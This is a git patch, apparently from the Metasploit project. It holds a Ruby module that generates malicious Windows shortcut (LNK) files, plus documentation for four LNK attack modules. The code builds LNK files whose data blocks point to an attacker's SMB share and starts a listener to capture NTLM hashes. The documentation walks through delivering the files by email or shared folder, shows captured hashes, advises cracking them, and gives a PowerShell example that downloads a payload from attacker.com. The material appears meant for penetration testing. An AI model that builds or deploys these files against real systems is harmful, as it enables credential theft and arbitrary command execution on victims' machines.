- # Force encoding to ASCII-8BIT (binary) to avoid encoding issues - path = path.dup.force_encoding('ASCII-8BIT') - name = name.dup.force_encoding('ASCII-8BIT') - - # Add null terminator - path = path + "\x00".force_encoding('ASCII-8BIT') - name = name + "\x00".force_encoding('ASCII-8BIT') - - # Convert to UTF-16LE manually - path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT') - name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT') - - # Remove BOM (first 2 bytes) if present - path_utf16 = path_utf16[2..-1] if path_utf16.start_with?("\xFF\xFE") - name_utf16 = name_utf16[2..-1] if name_utf16.start_with?("\xFF\xFE") - - bin_data = "".force_encoding('ASCII-8BIT') - bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT') - bin_data << [path.length].pack('S') - bin_data << [name.length].pack('S') - bin_data << path_utf16 - bin_data << name_utf16 - bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment - - bin_data - end - - def generate_linktarget_idlist(path, name) - idlist = "".force_encoding('ASCII-8BIT') - - # Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html - - # First ItemID - My Computer / This PC - # {20D04FE0-3AEA-1069-A2D8-08002B30309D} - field_size_id1 = "\x1f\x50" - first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT') - idlist << generate_item_id(field_size_id1 + first_id) - - # Second ItemID - Control Panel (All Tasks) - # {ED7BA470-8E54-465E-825C-99712043E01C} - field_size_id2 = "\x2e\x80" - second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT') - idlist << generate_item_id(field_size_id2 + second_id) - - # Custom ItemID - Our UNC path - idlist << generate_item_id(generate_lnk_special(path, name)) - - # TerminalID - idlist << "\x00\x00".force_encoding('ASCII-8BIT') - - # Full IDList with size - [idlist.length].pack('S') + idlist - end - - def generate_extra_data - extra = "".force_encoding('ASCII-8BIT') - extra << [0x10].pack('L') # BlockSize (4 bytes) - extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes) - extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel - extra << [0x28].pack('L') # Offset (4 bytes) - extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes) - - extra - end - - def ms_shllink(path, name) - lnk_data = "".force_encoding('ASCII-8BIT') - lnk_data << generate_shell_link_header - lnk_data << generate_linktarget_idlist(path, name) - lnk_data << generate_extra_data - - lnk_data - end - - def run - app_name = datastore['APPNAME'] - while app_name && !app_name.empty? - require 'faker' - app_name = Faker::App.name rescue nil - rescue LoadError - app_name = nil - end - app_name ||= 'Application' - end + ) + ) - unc_path = datastore['UNCPATH'] - if unc_path.nil? || unc_path.empty? - self.share_name = random_share_name - self.smb_srvhost = datastore['SRVHOST'] - self.smb_srvport = datastore['SRVPORT'] - self.capture_hashes = true - start_service - unc_path = "\\\\#{datastore['SRVHOST']}\\#{share_name}" - else - unless unc_path.match(/^\\\\[^\\]+\\[^\\]+$/) - fail_with(Failure::BadConfig, "UNCPATH format invalid, expected \\\\server\\share") - end - end + register_options([ + OptString.new('FILENAME', [ true, 'The LNK file name', 'msf.lnk']), + OptString.new('UNCPATH', [ false, 'UNC path that will be accessed (\\\\server\\share)', nil]), + OptString.new('APPNAME', [ false, 'Name of the application to display', nil]) + ]) + deregister_options('SRVHOST', 'SRVPORT') + register_advanced_options([ + OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on', '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, 'The local port to listen on', 445 ]) + ]) + end + + def generate_shell_link_header + header = '' + header << [0x4C].pack('L') # HeaderSize (4 bytes) + header << [0x00021401, 0x0000, 0x0000, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') # LinkCLSID (16 bytes) + header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode + header << [0x00].pack('L') # FileAttributes (4 bytes) + header << [0x00].pack('Q') # CreationTime (8 bytes) + header << [0x00].pack('Q') # AccessTime (8 bytes) + header << [0x00].pack('Q') # WriteTime (8 bytes) + header << [0x00].pack('L') # FileSize (4 bytes) + header << [0x00].pack('L') # IconIndex (4 bytes) + header << [0x00].pack('L') # ShowCommand (4 bytes) + header << [0x00].pack('S') # HotKey (2 bytes) + header << [0x00].pack('S') # Reserved1 (2 bytes) + header << [0x00].pack('L') # Reserved2 (4 bytes) + header << [0x00].pack('L') # Reserved3 (4 bytes) + + header + end + + def generate_item_id(data) + [data.length + 2].pack('S') + data + end + + def generate_lnk_special(path, name) + # Force encoding to ASCII-8BIT (binary) to avoid encoding issues + path = path.dup.force_encoding('ASCII-8BIT') + name = name.dup.force_encoding('ASCII-8BIT') + + # Add null terminator + path += "\x00".force_encoding('ASCII-8BIT') + name += "\x00".force_encoding('ASCII-8BIT') - lnk_data = ms_shllink(unc_path, app_name) - file_create(lnk_data) - print_good("LNK file created: #{datastore['FILENAME']}") - print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + # Convert to UTF-16LE manually + path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT') + name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT') + # Remove BOM (first 2 bytes) if present + path_utf16 = path_utf16[2..] if path_utf16.start_with?("\xFF\xFE") + name_utf16 = name_utf16[2..] if name_utf16.start_with?("\xFF\xFE") + + bin_data = ''.force_encoding('ASCII-8BIT') + bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT') + bin_data << [path.length].pack('S') + bin_data << [name.length].pack('S') + bin_data << path_utf16 + bin_data << name_utf16 + bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment + + bin_data + end + + def generate_linktarget_idlist(path, name) + idlist = ''.force_encoding('ASCII-8BIT') + + # Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html + + # First ItemID - My Computer / This PC + # {20D04FE0-3AEA-1069-A2D8-08002B30309D} + field_size_id1 = "\x1f\x50" + first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT') + idlist << generate_item_id(field_size_id1 + first_id) + + # Second ItemID - Control Panel (All Tasks) + # {ED7BA470-8E54-465E-825C-99712043E01C} + field_size_id2 = "\x2e\x80" + second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT') + idlist << generate_item_id(field_size_id2 + second_id) + + # Custom ItemID - Our UNC path + idlist << generate_item_id(generate_lnk_special(path, name)) + + # TerminalID + idlist << "\x00\x00".force_encoding('ASCII-8BIT') + + # Full IDList with size + [idlist.length].pack('S') + idlist + end + + def generate_extra_data + extra = ''.force_encoding('ASCII-8BIT') + extra << [0x10].pack('L') # BlockSize (4 bytes) + extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes) + extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel + extra << [0x28].pack('L') # Offset (4 bytes) + extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes) + + extra + end + + def ms_shllink(path, name) + lnk_data = ''.force_encoding('ASCII-8BIT') + lnk_data << generate_shell_link_header + lnk_data << generate_linktarget_idlist(path, name) + lnk_data << generate_extra_data + + lnk_data + end + + def run + app_name = datastore['APPNAME'] + while app_name && !app_name.empty? + require 'faker' + app_name = Faker::App.name + app_name ||= 'Application' end - def random_share_name - "share#{Rex::Text.rand_text_alphanumeric(6)}" + unc_path = datastore['UNCPATH'] + if unc_path.nil? || unc_path.empty? + self.share_name = random_share_name + self.smb_srvhost = datastore['SRVHOST'] + self.smb_srvport = datastore['SRVPORT'] + self.capture_hashes = true + start_service + unc_path = "\\\\#{datastore['SRVHOST']}\\#{share_name}" + else + unless unc_path.match(/^\\\\[^\\]+\\[^\\]+$/) + fail_with(Failure::BadConfig, 'UNCPATH format invalid, expected \\\\server\\share') + end end - end \ No newline at end of file + lnk_data = ms_shllink(unc_path, app_name) + file_create(lnk_data) + print_good("LNK file created: #{datastore['FILENAME']}") + print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + end + + def random_share_name + "share#{Rex::Text.rand_text_alphanumeric(6)}" + end + +end From f844377d58abd1574ba0df4c8c896bf09ffdc6d4 Mon Sep 17 00:00:00 2001 From: happybear-21 Date: Thu, 18 Sep 2025 21:10:23 +0530 Subject: [PATCH 8/8] added: documentation --- .../fileformat/datablock_padding_lnk.md | 110 +++++++++++++ .../environment_variable_datablock_leak.md | 134 +++++++++++++++ .../icon_environment_datablock_leak.md | 153 ++++++++++++++++++ .../fileformat/specialfolder_leak.md | 138 ++++++++++++++++ 4 files changed, 535 insertions(+) create mode 100644 documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md create mode 100644 documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md create mode 100644 documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md create mode 100644 documentation/modules/auxiliary/fileformat/specialfolder_leak.md diff --git a/documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md b/documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md new file mode 100644 index 0000000000000..80d82adc62683 --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/datablock_padding_lnk.md @@ -0,0 +1,110 @@ +This module generates a malicious Windows shortcut (LNK) file that exploits padding in the command line arguments to execute arbitrary commands. It leverages environment variables and inserts whitespace padding to concatenate and run the specified payload when the LNK is opened. + +The technique allows command execution without direct user interaction beyond opening the shortcut, making it useful for phishing or payload delivery scenarios. + +## Vulnerable Application + +Windows systems where LNK files are processed, such as in Explorer or when shortcuts are executed. This can lead to arbitrary command execution via manipulated command line buffers. + +References: +- [ZDI-CAN-25373](https://www.zerodayinitiative.com/advisories/ZDI-CAN-25373/) +- [Windows LNK Research](https://zeifan.my/Windows-LNK/) +- [Gist Example](https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1) +- [Trend Micro Analysis](https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html) + +Disclosure Date: 2025-07-19. + +## Verification Steps + +1. Start msfconsole. +2. Load the module: `use auxiliary/fileformat/windows_lnk_padding`. +3. Set required options (e.g., FILENAME, COMMAND). +4. Optionally customize DESCRIPTION, ICON_PATH, or BUFFER_SIZE. +5. Execute the module: `run`. +6. A malicious LNK file will be generated. +7. Deliver the LNK file to the target Windows system. +8. Open the LNK file to trigger command execution (e.g., launching calc.exe). + +## Options + +### FILENAME + +Specifies the name of the generated LNK file. + +Default: `poc.lnk` + +Example: +``` +set FILENAME exploit.lnk +``` + +### COMMAND + +The command to execute when the LNK is opened. + +Default: `C:\\Windows\\System32\\calc.exe` + +Example: +``` +set COMMAND powershell.exe -c "Invoke-WebRequest -Uri http://attacker.com/payload" +``` + +### DESCRIPTION + +Optional description for the LNK file. If not set, a random sentence is generated. + +Example: +``` +set DESCRIPTION Important Document +``` + +### ICON_PATH + +Optional path to an icon for the LNK file. If not set, a random system icon path is generated. + +Example: +``` +set ICON_PATH %SystemRoot%\\System32\\shell32.dll +``` + +### BUFFER_SIZE + +The size of the whitespace padding buffer before the command (must be sufficient to avoid truncation). + +Default: 900 + +Example: +``` +set BUFFER_SIZE 1000 +``` + +## Scenarios + +### Basic Command Execution on Windows + +Target: Any Windows system (e.g., Windows 10 or later). + +Generate an LNK that launches Calculator with custom padding: + +``` +msf > use auxiliary/fileformat/windows_lnk_padding +msf auxiliary(fileformat/windows_lnk_padding) > set FILENAME calc.lnk +FILENAME => calc.lnk +msf auxiliary(fileformat/windows_lnk_padding) > set COMMAND C:\\Windows\\System32\\calc.exe +COMMAND => C:\\Windows\\System32\\calc.exe +msf auxiliary(fileformat/windows_lnk_padding) > set BUFFER_SIZE 900 +BUFFER_SIZE => 900 +msf auxiliary(fileformat/windows_lnk_padding) > set DESCRIPTION Calculator Shortcut +DESCRIPTION => Calculator Shortcut +msf auxiliary(fileformat/windows_lnk_padding) > set ICON_PATH %SystemRoot%\\System32\\calc.exe +ICON_PATH => %SystemRoot%\\System32\\calc.exe +msf auxiliary(fileformat/windows_lnk_padding) > run + +[*] Generating LNK file: calc.lnk +[+] Successfully created calc.lnk +[*] Command line buffer size: 900 bytes +[*] Target command: C:\\Windows\\System32\\calc.exe +[*] Auxiliary module execution completed +``` + +Deliver `calc.lnk` to the target (e.g., via email attachment or shared folder). When opened, it executes `calc.exe` using the padded command line. Monitor for execution side effects or adjust the COMMAND for more advanced payloads like downloading and running scripts. \ No newline at end of file diff --git a/documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md b/documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md new file mode 100644 index 0000000000000..26138687130c2 --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/environment_variable_datablock_leak.md @@ -0,0 +1,134 @@ +This module generates a malicious Windows shortcut (LNK) file that embeds a special UNC path within the EnvironmentVariableDataBlock of the Shell Link structure. When a victim right-clicks the LNK file in Windows Explorer, it triggers an automatic authentication attempt to the specified remote SMB server, enabling the capture of NTLM hashes. + +The exploit takes advantage of how Windows handles environment variables in LNK files during context menu operations, leading to unsolicited SMB connections without requiring the file to be opened. + +## Vulnerable Application + +Windows systems where LNK files are processed in Explorer, particularly during right-click actions that load context menus. This can result in NTLM credential leaks over SMB. + +References: +- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/) + +Disclosure Date: 2025-05-06. + +## Verification Steps + +1. Start msfconsole. +2. Load the module: `use auxiliary/fileformat/right_click_lnk_leak`. +3. Set required options (e.g., FILENAME, UNC_PATH). +4. Optionally customize DESCRIPTION, ICON_PATH, or PADDING_SIZE. +5. Execute the module: `run`. +6. A malicious LNK file is generated. +7. Set up an SMB capture listener (e.g., `auxiliary/server/capture/smb`). +8. Deliver the LNK file to the target system. +9. Right-click the LNK file in Explorer to trigger the SMB connection. +10. Monitor the listener for captured NTLM hashes. + +## Options + +### FILENAME + +The name of the generated LNK file. + +Default: `msf.lnk` + +Example: +``` +set FILENAME context.lnk +``` + +### UNC_PATH + +The UNC path (e.g., `\\server\share`) that the LNK will attempt to access for credential capture. + +Default: `\\192.168.1.1\share` + +Example: +``` +set UNC_PATH \\attacker.ip\captureshare +``` + +### DESCRIPTION + +The description for the shortcut. + +Default: `Testing Purposes` + +Example: +``` +set DESCRIPTION Important File +``` + +### ICON_PATH + +The path to an icon for the LNK file. + +Default: `e.g. abc.ico` + +Example: +``` +set ICON_PATH %SystemRoot%\\System32\\shell32.dll +``` + +### PADDING_SIZE + +Size of padding in the command arguments. + +Default: 10 + +Example: +``` +set PADDING_SIZE 20 +``` + +## Scenarios + +### NTLM Hash Capture on Right-Click + +Target: Windows system with Explorer (e.g., Windows 10 or later). + +Generate the LNK file: + +``` +msf > use auxiliary/fileformat/right_click_lnk_leak +msf auxiliary(fileformat/right_click_lnk_leak) > set FILENAME context.lnk +FILENAME => context.lnk +msf auxiliary(fileformat/right_click_lnk_leak) > set UNC_PATH \\192.168.1.25\share +UNC_PATH => \\192.168.1.25\share +msf auxiliary(fileformat/right_click_lnk_leak) > set DESCRIPTION Fake Document +DESCRIPTION => Fake Document +msf auxiliary(fileformat/right_click_lnk_leak) > set ICON_PATH %SystemRoot%\\System32\\imageres.dll +ICON_PATH => %SystemRoot%\\System32\\imageres.dll +msf auxiliary(fileformat/right_click_lnk_leak) > set PADDING_SIZE 15 +PADDING_SIZE => 15 +msf auxiliary(fileformat/right_click_lnk_leak) > run + +[*] Creating 'context.lnk' file... +[+] LNK file created: context.lnk +[*] Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication +[*] Auxiliary module execution completed +``` + +Set up the capture listener on the attacker machine: + +``` +msf > use auxiliary/server/capture/smb +msf auxiliary(server/capture/smb) > set SRVHOST 192.168.1.25 +SRVHOST => 192.168.1.25 +msf auxiliary(server/capture/smb) > run +[*] Server started. +``` + +Deliver `context.lnk` to the target. When the victim right-clicks it, an SMB connection is attempted: + +``` +[*] SMB Captured - 2025-09-18 21:08:00 +0530 +NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50 +USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM: +LMHASH:Disabled +LM_CLIENT_CHALLENGE:Disabled +NTHASH:examplehashvalue +NT_CLIENT_CHALLENGE:examplechallenge +``` + +Use cracking tools to recover credentials from the hash. diff --git a/documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md b/documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md new file mode 100644 index 0000000000000..6bab6cec43549 --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/icon_environment_datablock_leak.md @@ -0,0 +1,153 @@ +This module generates a malicious Windows shortcut (LNK) file that embeds a special UNC path within the IconEnvironmentDataBlock of the Shell Link structure. When a victim browses to the directory containing the LNK file in Windows Explorer, it triggers an automatic authentication attempt to the specified remote SMB server, allowing for the capture of NTLM hashes. + +The exploit relies on how Windows processes LNK files with manipulated environment data blocks, leading to unsolicited SMB connections without requiring the user to open the file. + +## Vulnerable Application + +Windows systems using Explorer to browse directories with LNK files, where the IconEnvironmentDataBlock can force SMB authentication leaks. + +References: +- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/) + +Disclosure Date: 2025-05-16. + +## Verification Steps + +1. Start msfconsole. +2. Load the module: `use auxiliary/fileformat/iconenvironmentdatablock_lnk`. +3. Set options like FILENAME, UNC_PATH, or others as needed. +4. Execute the module: `run`. +5. A malicious LNK file is generated. +6. If UNC_PATH is not set, an integrated SMB capture server starts. +7. Place the LNK in a target directory. +8. Browse the directory in Windows Explorer to trigger the SMB connection. +9. Check the console for captured NTLM hashes. + +## Options + +### FILENAME + +The name of the generated LNK file. + +Default: `msf.lnk` + +Example: +``` +set FILENAME leak.lnk +``` + +### UNC_PATH + +The UNC path (e.g., `\\server\share`) for the LNK to connect to. If unset, the module starts its own SMB server. + +Example: +``` +set UNC_PATH \\192.168.1.100\share +``` + +### DESCRIPTION + +Optional description for the shortcut. If unset, a random sentence is generated. + +Example: +``` +set DESCRIPTION System Update +``` + +### ICON_PATH + +Optional icon path for the LNK. If unset, a random system icon path is generated. + +Example: +``` +set ICON_PATH %SystemRoot%\\System32\\shell32.dll +``` + +### PADDING_SIZE + +Size of padding in the command arguments. + +Default: 10 + +Example: +``` +set PADDING_SIZE 20 +``` + +### Advanced Options + +**SRVHOST** + +Local host for the integrated SMB server (if UNC_PATH is unset). + +Default: `0.0.0.0` + +Example: +``` +set SRVHOST 192.168.1.25 +``` + +**SRVPORT** + +Local port for the integrated SMB server. + +Default: `445` + +Example: +``` +set SRVPORT 445 +``` + +## Scenarios + +### NTLM Hash Capture via Integrated Server + +Target: Windows system with Explorer. + +``` +msf > use auxiliary/fileformat/iconenvironmentdatablock_lnk +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set FILENAME leak.lnk +FILENAME => leak.lnk +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set SRVHOST 192.168.1.25 +SRVHOST => 192.168.1.25 +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set DESCRIPTION Fake Shortcut +DESCRIPTION => Fake Shortcut +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set PADDING_SIZE 15 +PADDING_SIZE => 15 +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > run + +[*] Creating 'leak.lnk' file... +[+] LNK file created: leak.lnk +[*] Listening for hashes on 192.168.1.25:445 +[*] Auxiliary module execution completed +``` + +Deliver `leak.lnk` to a target folder. Browsing the folder triggers an SMB connection: + +``` +[*] SMB Captured - 2025-09-18 21:07:00 +0530 +NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50 +USER:victim DOMAIN:VICTIMPC OS: Windows 10 LM: +LMHASH:Disabled +LM_CLIENT_CHALLENGE:Disabled +NTHASH:samplehash +NT_CLIENT_CHALLENGE:samplechallenge +``` + +Crack the hash with tools like Hashcat. + +### Custom UNC Path Usage + +For an external SMB setup: + +``` +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set UNC_PATH \\attacker.com\captureshare +UNC_PATH => \\attacker.com\captureshare +msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > run + +[*] Creating 'msf.lnk' file... +[+] LNK file created: msf.lnk +[*] Auxiliary module execution completed +``` + +Monitor the external server for authentication attempts. \ No newline at end of file diff --git a/documentation/modules/auxiliary/fileformat/specialfolder_leak.md b/documentation/modules/auxiliary/fileformat/specialfolder_leak.md new file mode 100644 index 0000000000000..4caa55e247e9e --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/specialfolder_leak.md @@ -0,0 +1,138 @@ +This module generates a malicious Windows shortcut (LNK) file that embeds a special UNC path within the SpecialFolderDatablock of the Shell Link structure. When a victim browses to or interacts with the LNK file in Windows Explorer, it triggers an authentication attempt to the specified remote SMB server, enabling the capture of NTLM hashes. + +This technique leverages a vulnerability in how Windows handles certain LNK file structures, resulting in automatic SMB connections without user interaction. The module can either point to a user-specified UNC path or start an integrated SMB capture server to harvest credentials. + +Tested on Windows systems where Explorer processes LNK files. + +## Vulnerable Application + +Windows operating systems that process LNK files via Explorer, particularly when browsing directories containing the malicious shortcut. This can lead to NTLM credential leaks over SMB. + +References: +- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/) +- [Exploit-DB 42382](https://www.exploit-db.com/exploits/42382) +- [Related Metasploit Module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb) + +Disclosure Date: 2025-05-10 (reported to MSRC). + +## Verification Steps + +1. Start msfconsole. +2. Load the module: `use auxiliary/fileformat/specialfolderdatablock_lnk`. +3. Customize options as needed (e.g., set FILENAME, UNCPATH, or APPNAME). +4. Execute the module: `run`. +5. A malicious LNK file will be generated. +6. If not using a custom UNCPATH, the module starts an SMB capture server automatically. +7. Place the LNK file in a directory on the target system. +8. Browse to the directory in Windows Explorer to trigger the SMB connection. +9. Monitor the console for captured NTLM hashes. + +## Options + +**FILENAME** + +Specifies the name of the generated LNK file. + +Default: `msf.lnk` + +Example: +``` +set FILENAME malicious.lnk +``` + +**UNCPATH** + +Defines the UNC path (e.g., `\\server\share`) that the LNK file will attempt to access. If not set, the module starts its own SMB server. + +Example: +``` +set UNCPATH \\192.168.1.100\share +``` + +**APPNAME** + +Sets the display name of the application in the LNK file. If empty, a random name is generated. + +Example: +``` +set APPNAME FakeApp +``` + +**Advanced Options** + +**SRVHOST** + +The local host to listen on for the integrated SMB server (if UNCPATH is not set). + +Default: `0.0.0.0` + +Example: +``` +set SRVHOST 192.168.1.25 +``` + +**SRVPORT** + +The local port for the integrated SMB server. + +Default: `445` + +Example: +``` +set SRVPORT 445 +``` + +## Scenarios + +### Basic NTLM Hash Capture on Windows + +Target: A Windows system with Explorer (e.g., Windows 10 or later). + +Attacker: Use the module to generate the LNK and capture hashes locally. + +``` +msf > use auxiliary/fileformat/specialfolderdatablock_lnk +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set FILENAME malicious.lnk +FILENAME => malicious.lnk +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set SRVHOST 192.168.1.25 +SRVHOST => 192.168.1.25 +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set APPNAME FakeApp +APPNAME => FakeApp +msf auxiliary(fileformat/specialfolderdatablock_lnk) > run + +[*] Starting SMB server on 192.168.1.25:445 +[*] Generating malicious LNK file +[+] malicious.lnk stored at /root/.msf4/local/malicious.lnk +[*] Listening for hashes on 192.168.1.25:445 +[*] Auxiliary module execution completed +``` + +Deliver the `malicious.lnk` file to the target (e.g., via email or shared drive). When the victim opens the containing folder in Explorer, an SMB connection is attempted: + +``` +[*] SMB Captured - 2025-09-18 21:03:00 +0530 +NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50 +USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM: +LMHASH:Disabled +LM_CLIENT_CHALLENGE:Disabled +NTHASH:examplehashvalue +NT_CLIENT_CHALLENGE:examplechallenge +``` + +Crack the captured hash using tools like Hashcat to recover credentials. + +### Using a Custom UNC Path + +If you have an external SMB server set up (e.g., for remote capture): + +``` +msf auxiliary(fileformat/specialfolderdatablock_lnk) > set UNCPATH \\attacker.server\captureshare +UNCPATH => \\attacker.server\captureshare +msf auxiliary(fileformat/specialfolderdatablock_lnk) > run + +[*] Generating malicious LNK file pointing to \\attacker.server\captureshare +[+] malicious.lnk stored at /root/.msf4/local/malicious.lnk +[*] Auxiliary module execution completed +``` + +Monitor your external SMB server for incoming authentication attempts. \ No newline at end of file